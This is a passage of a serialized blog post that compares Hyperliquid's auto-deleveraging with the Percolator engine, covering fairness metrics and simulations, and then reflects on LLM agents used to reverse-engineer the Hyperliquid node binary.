"tag":314,"props":163672,"children":163674},{"className":163673,"style":3442},[3344],[],{"type":23,"tag":314,"props":163676,"children":163678},{"className":163677},[3447],[163679],{"type":28,"value":1102},{"type":23,"tag":314,"props":163681,"children":163683},{"className":163682,"style":3442},[3344],[],{"type":23,"tag":314,"props":163685,"children":163687},{"className":163686},[3253],[163688,163692,163749,163754],{"type":23,"tag":314,"props":163689,"children":163691},{"className":163690,"style":3365},[3258],[],{"type":23,"tag":314,"props":163693,"children":163695},{"className":163694},[3264],[163696,163701],{"type":23,"tag":314,"props":163697,"children":163699},{"className":163698},[3264,20825],[163700],{"type":28,"value":18514},{"type":23,"tag":314,"props":163702,"children":163704},{"className":163703},[3280],[163705],{"type":23,"tag":314,"props":163706,"children":163708},{"className":163707},[3285,20879],[163709,163738],{"type":23,"tag":314,"props":163710,"children":163712},{"className":163711},[3290],[163713,163733],{"type":23,"tag":314,"props":163714,"children":163716},{"className":163715,"style":92828},[3295],[163717],{"type":23,"tag":314,"props":163718,"children":163719},{"style":92355},[163720,163724],{"type":23,"tag":314,"props":163721,"children":163723},{"className":163722,"style":3305},[3304],[],{"type":23,"tag":314,"props":163725,"children":163727},{"className":163726},[3310,3311,3312,3313],[163728],{"type":23,"tag":314,"props":163729,"children":163731},{"className":163730},[3264,20825,3313],[163732],{"type":28,"value":2993},{"type":23,"tag":314,"props":163734,"children":163736},{"className":163735},[20982],[163737],{"type":28,"value":20985},{"type":23,"tag":314,"props":163739,"children":163741},{"className":163740},[3290],[163742],{"type":23,"tag":314,"props":163743,"children":163745},{"className":163744,"style":92382},[3295],[163746],{"type":23,"tag":314,"props":163747,"children":163748},{},[],{"type":23,"tag":314,"props":163750,"children":163752},{"className":163751},[3264],[163753],{"type":28,"value":3835},{"type":23,"tag":314,"props":163755,"children":163757},{"className":163756},[3264],[163758,163763],{"type":23,"tag":314,"props":163759,"children":163761},{"className":163760,"style":121579},[3264,20825],[163762],{"type":28,"value":48822},{"type":23,"tag":314,"props":163764,"children":163766},{"className":163765},[3280],[163767],{"type":23,"tag":314,"props":163768,"children":163770},{"className":163769},[3285,20879],[163771,163800],{"type":23,"tag":314,"props":163772,"children":163774},{"className":163773},[3290],[163775,163795],{"type":23,"tag":314,"props":163776,"children":163778},{"className":163777,"style":92828},[3295],[163779],{"type":23,"tag":314,"props":163780,"children":163781},{"style":160524},[163782,163786],{"type":23,"tag":314,"props":163783,"children":163785},{"className":163784,"style":3305},[3304],[],{"type":23,"tag":314,"props":163787,"children":163789},{"className":163788},[3310,3311,3312,3313],[163790],{"type":23,"tag":314,"props":163791,"children":163793},{"className":163792},[3264,20825,3313],[163794],{"type":28,"value":2993},{"type":23,"tag":314,"props":163796,"children":163798},{"className":163797},[20982],[163799],{"type":28,"value":20985},{"type":23,"tag":314,"props":163801,"children":163803},{"className":163802},[3290],[163804],{"type":23,"tag":314,"props":163805,"children":163807},{"className":163806,"style":92382},[3295],[163808],{"type":23,"tag":314,"props":163809,"children":163810},{},[],{"type":28,"value":163812}," for each winner with ",{"type":23,"tag":94,"props":163814,"children":163816},{"className":163815},[3237,3238],[163817],{"type":23,"tag":314,"props":163818,"children":163820},{"className":163819},[3243],[163821],{"type":23,"tag":314,"props":163822,"children":163824},{"className":163823,"ariaHidden":1481},[3248],[163825,163904],{"type":23,"tag":314,"props":163826,"children":163828},{"className":163827},[3253],[163829,163834,163891,163895,163900],{"type":23,"tag":314,"props":163830,"children":163833},{"className":163831,"style":163832},[3258],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":163835,"children":163837},{"className":163836},[3264],[163838,163843],{"type":23,"tag":314,"props":163839,"children":163841},{"className":163840,"style":121579},[3264,20825],[163842],{"type":28,"value":48822},{"type":23,"tag":314,"props":163844,"children":163846},{"className":163845},[3280],[163847],{"type":23,"tag":314,"props":163848,"children":163850},{"className":163849},[3285,20879],[163851,163880],{"type":23,"tag":314,"props":163852,"children":163854},{"className":163853},[3290],[163855,163875],{"type":23,"tag":314,"props":163856,"children":163858},{"className":163857,"style":92828},[3295],[163859],{"type":23,"tag":314,"props":163860,"children":163861},{"style":160524},[163862,163866],{"type":23,"tag":314,"props":163863,"children":163865},{"className":163864,"style":3305},[3304],[],{"type":23,"tag":314,"props":163867,"children":163869},{"className":163868},[3310,3311,3312,3313],[163870],{"type":23,"tag":314,"props":163871,"children":163873},{"className":163872},[3264,20825,3313],[163874],{"type":28,"value":2993},{"type":23,"tag":314,"props":163876,"children":163878},{"className":163877},[20982],[163879],{"type":28,"value":20985},{"type":23,"tag":314,"props":163881,"children":163883},{"className":163882},[3290],[163884],{"type":23,"tag":314,"props":163885,"children":163887},{"className":163886,"style":92382},[3295],[163888],{"type":23,"tag":314,"props":163889,"children":163890},{},[],{"type":23,"tag":314,"props":163892,"children":163894},{"className":163893,"style":3442},[3344],[],{"type":23,"tag":314,"props":163896,"children":163898},{"className":163897},[3447],[163899],{"type":28,"value":9710},{"type":23,"tag":314,"props":163901,"children":163903},{"className":163902,"style":3442},[3344],[],{"type":23,"tag":314,"props":163905,"children":163907},{"className":163906},[3253],[163908,163912],{"type":23,"tag":314,"props":163909,"children":163911},{"className":163910,"style":93330},[3258],[],{"type":23,"tag":314,"props":163913,"children":163915},{"className":163914},[3264],[163916],{"type":28,"value":1600},{"type":28,"value":163918}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":94,"props":163920,"children":163922},{"className":163921},[3237,3238],[163923],{"type":23,"tag":314,"props":163924,"children":163926},{"className":163925},[3243],[163927],{"type":23,"tag":314,"props":163928,"children":163930},{"className":163929,"ariaHidden":1481},[3248],[163931,163957],{"type":23,"tag":314,"props":163932,"children":163934},{"className":163933},[3253],[163935,163939,163944,163948,163953],{"type":23,"tag":314,"props":163936,"children":163938},{"className":163937,"style":20820},[3258],[],{"type":23,"tag":314,"props":163940,"children":163942},{"className":163941,"style":20826},[3264,20825],[163943],{"type":28,"value":121077},{"type":23,"tag":314,"props":163945,"children":163947},{"className":163946,"style":3442},[3344],[],{"type":23,"tag":314,"props":163949,"children":163951},{"className":163950},[3447],[163952],{"type":28,"value":1102},{"type":23,"tag":314,"props":163954,"children":163956},{"className":163955,"style":3442},[3344],[],{"type":23,"tag":314,"props":163958,"children":163960},{"className":163959},[3253],[163961,163965],{"type":23,"tag":314,"props":163962,"children":163964},{"className":163963,"style":93330},[3258],[],{"type":23,"tag":314,"props":163966,"children":163968},{"className":163967},[3264],[163969],{"type":28,"value":3267},{"type":28,"value":163971}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":94,"props":163973,"children":163975},{"className":163974},[3237,3238],[163976],{"type":23,"tag":314,"props":163977,"children":163979},{"className":163978},[3243],[163980],{"type":23,"tag":314,"props":163981,"children":163983},{"className":163982,"ariaHidden":1481},[3248],[163984,164011],{"type":23,"tag":314,"props":163985,"children":163987},{"className":163986},[3253],[163988,163992,163997,164001,164007],{"type":23,"tag":314,"props":163989,"children":163991},{"className":163990,"style":20820},[3258],[],{"type":23,"tag":314,"props":163993,"children":163995},{"className":163994,"style":20826},[3264,20825],[163996],{"type":28,"value":121077},{"type":23,"tag":314,"props":163998,"children":164000},{"className":163999,"style":3442},[3344],[],{"type":23,"tag":314,"props":164002,"children":164004},{"className":164003},[3447],[164005],{"type":28,"value":164006},"≈",{"type":23,"tag":314,"props":164008,"children":164010},{"className":164009,"style":3442},[3344],[],{"type":23,"tag":314,"props":164012,"children":164014},{"className":164013},[3253],[164015,164019],{"type":23,"tag":314,"props":164016,"children":164018},{"className":164017,"style":93330},[3258],[],{"type":23,"tag":314,"props":164020,"children":164022},{"className":164021},[3264],[164023],{"type":28,"value":1600},{"type":28,"value":164025}," means a few get wiped while most are untouched.",{"type":23,"tag":88,"props":164027,"children":164028},{},[164029,164033,164034,164192,164194,164288,164290],{"type":23,"tag":186,"props":164030,"children":164031},{},[164032],{"type":28,"value":160128},{"type":28,"value":32159},{"type":23,"tag":94,"props":164035,"children":164037},{"className":164036},[3237,3238],[164038],{"type":23,"tag":314,"props":164039,"children":164041},{"className":164040},[3243],[164042],{"type":23,"tag":314,"props":164043,"children":164045},{"className":164044,"ariaHidden":1481},[3248],[164046],{"type":23,"tag":314,"props":164047,"children":164049},{"className":164048},[3253],[164050,164055,164130,164135],{"type":23,"tag":314,"props":164051,"children":164054},{"className":164052,"style":164053},[3258],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":314,"props":164056,"children":164058},{"className":164057},[3264],[164059,164064],{"type":23,"tag":314,"props":164060,"children":164062},{"className":164061,"style":94307},[3264,20825],[164063],{"type":28,"value":160853},{"type":23,"tag":314,"props":164065,"children":164067},{"className":164066},[3280],[164068],{"type":23,"tag":314,"props":164069,"children":164071},{"className":164070},[3285,20879],[164072,164118],{"type":23,"tag":314,"props":164073,"children":164075},{"className":164074},[3290],[164076,164113],{"type":23,"tag":314,"props":164077,"children":164079},{"className":164078,"style":108016},[3295],[164080,164097],{"type":23,"tag":314,"props":164081,"children":164083},{"style":164082},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164084,164088],{"type":23,"tag":314,"props":164085,"children":164087},{"className":164086,"style":3305},[3304],[],{"type":23,"tag":314,"props":164089,"children":164091},{"className":164090},[3310,3311,3312,3313],[164092],{"type":23,"tag":314,"props":164093,"children":164095},{"className":164094,"style":20826},[3264,20825,3313],[164096],{"type":28,"value":5242},{"type":23,"tag":314,"props":164098,"children":164099},{"style":3299},[164100,164104],{"type":23,"tag":314,"props":164101,"children":164103},{"className":164102,"style":3305},[3304],[],{"type":23,"tag":314,"props":164105,"children":164107},{"className":164106},[3310,3311,3312,3313],[164108],{"type":23,"tag":314,"props":164109,"children":164111},{"className":164110,"style":92785},[3264,20825,3313],[164112],{"type":28,"value":160367},{"type":23,"tag":314,"props":164114,"children":164116},{"className":164115},[20982],[164117],{"type":28,"value":20985},{"type":23,"tag":314,"props":164119,"children":164121},{"className":164120},[3290],[164122],{"type":23,"tag":314,"props":164123,"children":164126},{"className":164124,"style":164125},[3295],"height:0.2753em;",[164127],{"type":23,"tag":314,"props":164128,"children":164129},{},[],{"type":23,"tag":314,"props":164131,"children":164133},{"className":164132},[3264],[164134],{"type":28,"value":3835},{"type":23,"tag":314,"props":164136,"children":164138},{"className":164137},[3264],[164139,164144],{"type":23,"tag":314,"props":164140,"children":164142},{"className":164141,"style":94307},[3264,20825],[164143],{"type":28,"value":160853},{"type":23,"tag":314,"props":164145,"children":164147},{"className":164146},[3280],[164148],{"type":23,"tag":314,"props":164149,"children":164151},{"className":164150},[3285,20879],[164152,164181],{"type":23,"tag":314,"props":164153,"children":164155},{"className":164154},[3290],[164156,164176],{"type":23,"tag":314,"props":164157,"children":164159},{"className":164158,"style":141852},[3295],[164160],{"type":23,"tag":314,"props":164161,"children":164162},{"style":160872},[164163,164167],{"type":23,"tag":314,"props":164164,"children":164166},{"className":164165,"style":3305},[3304],[],{"type":23,"tag":314,"props":164168,"children":164170},{"className":164169},[3310,3311,3312,3313],[164171],{"type":23,"tag":314,"props":164172,"children":164174},{"className":164173,"style":20826},[3264,20825,3313],[164175],{"type":28,"value":5242},{"type":23,"tag":314,"props":164177,"children":164179},{"className":164178},[20982],[164180],{"type":28,"value":20985},{"type":23,"tag":314,"props":164182,"children":164184},{"className":164183},[3290],[164185],{"type":23,"tag":314,"props":164186,"children":164188},{"className":164187,"style":92382},[3295],[164189],{"type":23,"tag":314,"props":164190,"children":164191},{},[],{"type":28,"value":164193}," — ",{"type":23,"tag":94,"props":164195,"children":164197},{"className":164196},[3237,3238],[164198],{"type":23,"tag":314,"props":164199,"children":164201},{"className":164200},[3243],[164202],{"type":23,"tag":314,"props":164203,"children":164205},{"className":164204,"ariaHidden":1481},[3248],[164206],{"type":23,"tag":314,"props":164207,"children":164209},{"className":164208},[3253],[164210,164215],{"type":23,"tag":314,"props":164211,"children":164214},{"className":164212,"style":164213},[3258],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":314,"props":164216,"children":164218},{"className":164217},[3264],[164219,164224],{"type":23,"tag":314,"props":164220,"children":164222},{"className":164221,"style":94307},[3264,20825],[164223],{"type":28,"value":160853},{"type":23,"tag":314,"props":164225,"children":164227},{"className":164226},[3280],[164228],{"type":23,"tag":314,"props":164229,"children":164231},{"className":164230},[3285,20879],[164232,164277],{"type":23,"tag":314,"props":164233,"children":164235},{"className":164234},[3290],[164236,164272],{"type":23,"tag":314,"props":164237,"children":164239},{"className":164238,"style":108016},[3295],[164240,164256],{"type":23,"tag":314,"props":164241,"children":164242},{"style":164082},[164243,164247],{"type":23,"tag":314,"props":164244,"children":164246},{"className":164245,"style":3305},[3304],[],{"type":23,"tag":314,"props":164248,"children":164250},{"className":164249},[3310,3311,3312,3313],[164251],{"type":23,"tag":314,"props":164252,"children":164254},{"className":164253,"style":20826},[3264,20825,3313],[164255],{"type":28,"value":5242},{"type":23,"tag":314,"props":164257,"children":164258},{"style":3299},[164259,164263],{"type":23,"tag":314,"props":164260,"children":164262},{"className":164261,"style":3305},[3304],[],{"type":23,"tag":314,"props":164264,"children":164266},{"className":164265},[3310,3311,3312,3313],[164267],{"type":23,"tag":314,"props":164268,"children":164270},{"className":164269,"style":92785},[3264,20825,3313],[164271],{"type":28,"value":160367},{"type":23,"tag":314,"props":164273,"children":164275},{"className":164274},[20982],[164276],{"type":28,"value":20985},{"type":23,"tag":314,"props":164278,"children":164280},{"className":164279},[3290],[164281],{"type":23,"tag":314,"props":164282,"children":164284},{"className":164283,"style":164125},[3295],[164285],{"type":23,"tag":314,"props":164286,"children":164287},{},[],{"type":28,"value":164289}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":94,"props":164291,"children":164293},{"className":164292},[3237,3238],[164294],{"type":23,"tag":314,"props":164295,"children":164297},{"className":164296},[3243],[164298],{"type":23,"tag":314,"props":164299,"children":164301},{"className":164300,"ariaHidden":1481},[3248],[164302],{"type":23,"tag":314,"props":164303,"children":164305},{"className":164304},[3253],[164306,164310],{"type":23,"tag":314,"props":164307,"children":164309},{"className":164308,"style":110140},[3258],[],{"type":23,"tag":314,"props":164311,"children":164313},{"className":164312,"style":92785},[3264,20825],[164314],{"type":28,"value":160367},{"type":23,"tag":24,"props":164316,"children":164317},{},[164318],{"type":28,"value":164319},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":164321,"props":164322,"children":164324},"git-hub-repo-link",{"url":164323},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":164326,"children":164327},{},[164328,164330,164335],{"type":28,"value":164329},"Given a fixed ",{"type":23,"tag":186,"props":164331,"children":164332},{},[164333],{"type":28,"value":164334},"a priori",{"type":28,"value":164336}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":164338,"children":164339},{},[164340,164342,164347,164349,164426],{"type":28,"value":164341},"One prediction that we can make is that Percolator is ",{"type":23,"tag":186,"props":164343,"children":164344},{},[164345],{"type":28,"value":164346},"perfectly fair",{"type":28,"value":164348}," according to this scoring: the ",{"type":23,"tag":94,"props":164350,"children":164352},{"className":164351},[3237,3238],[164353],{"type":23,"tag":314,"props":164354,"children":164356},{"className":164355},[3243],[164357],{"type":23,"tag":314,"props":164358,"children":164360},{"className":164359,"ariaHidden":1481},[3248],[164361],{"type":23,"tag":314,"props":164362,"children":164364},{"className":164363},[3253],[164365,164369],{"type":23,"tag":314,"props":164366,"children":164368},{"className":164367,"style":141576},[3258],[],{"type":23,"tag":314,"props":164370,"children":164372},{"className":164371},[3264],[164373,164378],{"type":23,"tag":314,"props":164374,"children":164376},{"className":164375},[3264,20825],[164377],{"type":28,"value":83597},{"type":23,"tag":314,"props":164379,"children":164381},{"className":164380},[3280],[164382],{"type":23,"tag":314,"props":164383,"children":164385},{"className":164384},[3285,20879],[164386,164415],{"type":23,"tag":314,"props":164387,"children":164389},{"className":164388},[3290],[164390,164410],{"type":23,"tag":314,"props":164391,"children":164393},{"className":164392,"style":92828},[3295],[164394],{"type":23,"tag":314,"props":164395,"children":164396},{"style":92355},[164397,164401],{"type":23,"tag":314,"props":164398,"children":164400},{"className":164399,"style":3305},[3304],[],{"type":23,"tag":314,"props":164402,"children":164404},{"className":164403},[3310,3311,3312,3313],[164405],{"type":23,"tag":314,"props":164406,"children":164408},{"className":164407},[3264,20825,3313],[164409],{"type":28,"value":2993},{"type":23,"tag":314,"props":164411,"children":164413},{"className":164412},[20982],[164414],{"type":28,"value":20985},{"type":23,"tag":314,"props":164416,"children":164418},{"className":164417},[3290],[164419],{"type":23,"tag":314,"props":164420,"children":164422},{"className":164421,"style":92382},[3295],[164423],{"type":23,"tag":314,"props":164424,"children":164425},{},[],{"type":28,"value":164427}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":164429,"children":164430},{},[164431,164433,164438],{"type":28,"value":164432},"We are ignoring the ",{"type":23,"tag":186,"props":164434,"children":164435},{},[164436],{"type":28,"value":164437},"a posteriori",{"type":28,"value":164439}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":164441,"children":164442},{},[164443],{"type":28,"value":164444},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":61,"props":164446,"children":164448},{"id":164447},"simulations",[164449],{"type":28,"value":164450},"Simulations",{"type":23,"tag":24,"props":164452,"children":164453},{},[164454],{"type":28,"value":164455},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":164457,"children":164458},{},[164459],{"type":23,"tag":197,"props":164460,"children":164463},{"alt":164461,"src":164462},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":164465,"children":164466},{},[164467],{"type":28,"value":164468},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":164470,"children":164471},{},[164472],{"type":23,"tag":197,"props":164473,"children":164476},{"alt":164474,"src":164475},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":837,"props":164478,"children":164480},{"id":164479},"percolator-is-more-optimistic",[164481],{"type":28,"value":164482},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":164484,"children":164485},{},[164486,164488,164493,164495,164500,164502,164508,164510,164515],{"type":28,"value":164487},"The key difference is what happens to positions. ADL ",{"type":23,"tag":186,"props":164489,"children":164490},{},[164491],{"type":28,"value":164492},"permanently closes",{"type":28,"value":164494}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":186,"props":164496,"children":164497},{},[164498],{"type":28,"value":164499},"withdraw",{"type":28,"value":164501},", but the position stays open. If conditions improve, ",{"type":23,"tag":94,"props":164503,"children":164505},{"className":164504},[],[164506],{"type":28,"value":164507},"Residual",{"type":28,"value":164509}," goes up, ",{"type":23,"tag":94,"props":164511,"children":164513},{"className":164512},[],[164514],{"type":28,"value":83597},{"type":28,"value":164516}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":164518,"children":164519},{},[164520,164522,164526],{"type":28,"value":164521},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":186,"props":164523,"children":164524},{},[164525],{"type":28,"value":19424},{"type":28,"value":164527}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":164529,"children":164530},{},[164531],{"type":23,"tag":197,"props":164532,"children":164535},{"alt":164533,"src":164534},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":61,"props":164537,"children":164539},{"id":164538},"some-points-to-be-made",[164540],{"type":28,"value":164541},"Some Points to Be Made",{"type":23,"tag":837,"props":164543,"children":164545},{"id":164544},"percolator-is-indifferent-to-leverage",[164546],{"type":28,"value":164547},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":164549,"children":164550},{},[164551],{"type":28,"value":164552},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":164554,"children":164555},{},[164556],{"type":23,"tag":197,"props":164557,"children":164560},{"alt":164558,"src":164559},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":837,"props":164562,"children":164564},{"id":164563},"fairness",[164565],{"type":28,"value":160118},{"type":23,"tag":24,"props":164567,"children":164568},{},[164569],{"type":28,"value":164570},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":164572,"children":164573},{},[164574],{"type":23,"tag":197,"props":164575,"children":164578},{"alt":164576,"src":164577},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":164580,"children":164581},{},[164582,164584,164589],{"type":28,"value":164583},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":94,"props":164585,"children":164587},{"className":164586},[],[164588],{"type":28,"value":158620},{"type":28,"value":164590}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":61,"props":164592,"children":164594},{"id":164593},"strengths-and-limitations-of-agents-for-reverse-engineering",[164595],{"type":28,"value":164596},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":164598,"children":164599},{},[164600],{"type":28,"value":164601},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":837,"props":164603,"children":164605},{"id":164604},"hooks",[164606],{"type":28,"value":164607},"Hooks",{"type":23,"tag":24,"props":164609,"children":164610},{},[164611,164613,164617],{"type":28,"value":164612},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":186,"props":164614,"children":164615},{},[164616],{"type":28,"value":164604},{"type":28,"value":164618},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":164620,"children":164621},{},[164622],{"type":28,"value":164623},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":837,"props":164625,"children":164627},{"id":164626},"scale",[164628],{"type":28,"value":164629},"Scale",{"type":23,"tag":24,"props":164631,"children":164632},{},[164633],{"type":28,"value":164634},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":164636,"children":164637},{},[164638],{"type":28,"value":164639},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":837,"props":164641,"children":164642},{"id":2086},[164643],{"type":28,"value":2089},{"type":23,"tag":24,"props":164645,"children":164646},{},[164647],{"type":28,"value":164648},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":164321,"props":164650,"children":164651},{"url":158281},[],{"type":23,"tag":24,"props":164653,"children":164654},{},[164655],{"type":28,"value":164656},"The analyzed binary can be found here:",{"type":23,"tag":158601,"props":164658,"children":164661},{"path":164659,"name":158205,"size":164660},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":837,"props":164663,"children":164665},{"id":164664},"closing-words",[164666],{"type":28,"value":164667},"Closing Words",{"type":23,"tag":24,"props":164669,"children":164670},{},[164671],{"type":28,"value":164672},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":164674,"children":164675},{},[164676,164678,164683],{"type":28,"value":164677},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":186,"props":164679,"children":164680},{},[164681],{"type":28,"value":164682},"manual",{"type":28,"value":164684}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":164686,"children":164687},{},[164688],{"type":28,"value":164689},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":164691,"children":164692},{},[164693],{"type":28,"value":164694},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":164696,"props":164697,"children":164698},"report-footnotes",{},[164699],{"type":23,"tag":84,"props":164700,"children":164701},{},[164702,164707,164734,164739,164744],{"type":23,"tag":88,"props":164703,"children":164704},{},[164705],{"type":28,"value":164706},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":88,"props":164708,"children":164709},{},[164710,164716,164718,164724,164726,164732],{"type":23,"tag":94,"props":164711,"children":164713},{"className":164712},[],[164714],{"type":28,"value":164715},"compute_user_margin_and_shortfall",{"type":28,"value":164717}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":94,"props":164719,"children":164721},{"className":164720},[],[164722],{"type":28,"value":164723},"0x748",{"type":28,"value":164725}," in the abstract expressions of ",{"type":23,"tag":94,"props":164727,"children":164729},{"className":164728},[],[164730],{"type":28,"value":164731},"btree_cursor",{"type":28,"value":164733},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":88,"props":164735,"children":164736},{},[164737],{"type":28,"value":164738},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":88,"props":164740,"children":164741},{},[164742],{"type":28,"value":164743},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":88,"props":164745,"children":164746},{},[164747,164749,164755],{"type":28,"value":164748},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":94,"props":164750,"children":164752},{"className":164751},[],[164753],{"type":28,"value":164754},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":282},{"title":7,"searchDepth":370,"depth":370,"links":164757},[164758,164759,164760,164761,164762,164765,164766,164767,164770,164771,164774,164778],{"id":158151,"depth":370,"text":158154},{"id":158144,"depth":370,"text":158172},{"id":158229,"depth":370,"text":158232},{"id":158510,"depth":370,"text":158513},{"id":158544,"depth":370,"text":158547,"children":164763},[164764],{"id":158683,"depth":380,"text":158686},{"id":159462,"depth":370,"text":159465},{"id":159558,"depth":370,"text":159561},{"id":159776,"depth":370,"text":159779,"children":164768},[164769],{"id":160021,"depth":380,"text":160024},{"id":160081,"depth":370,"text":160084},{"id":164447,"depth":370,"text":164450,"children":164772},[164773],{"id":164479,"depth":380,"text":164482},{"id":164538,"depth":370,"text":164541,"children":164775},[164776,164777],{"id":164544,"depth":380,"text":164547},{"id":164563,"depth":380,"text":160118},{"id":164593,"depth":370,"text":164596,"children":164779},[164780,164781,164782,164783],{"id":164604,"depth":380,"text":164607},{"id":164626,"depth":380,"text":164629},{"id":2086,"depth":380,"text":2089},{"id":164664,"depth":380,"text":164667},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630596]